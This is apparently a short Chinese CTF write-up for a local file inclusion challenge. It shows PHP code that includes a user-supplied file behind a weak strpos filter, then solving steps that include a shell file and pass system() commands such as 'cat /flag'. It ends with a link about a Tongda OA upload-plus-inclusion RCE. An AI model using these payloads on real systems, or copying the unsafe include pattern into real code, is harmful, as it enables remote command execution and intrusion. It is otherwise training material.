代码
<?php
// 关闭错误报告
error_reporting(0);
if (isset($_GET['file'])) {
//strpos — 查找字符串首次出现的位置
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
strpos — 查找字符串首次出现的位置
返回值为true或者false,匹配到是true
使用 === 运算符来测试此函数的返回值。
过程
本地文件包含
hackbar工具
?file=shell.txt
ctfhub=system(“pwd”);
ctfhub=system(“ls /”);
ctfhub=system(“cat /flag”);
拓展
通达OA 任意文件上传+文件包含导致RCE
https://www.cnblogs.com/yuzly/p/13607055.html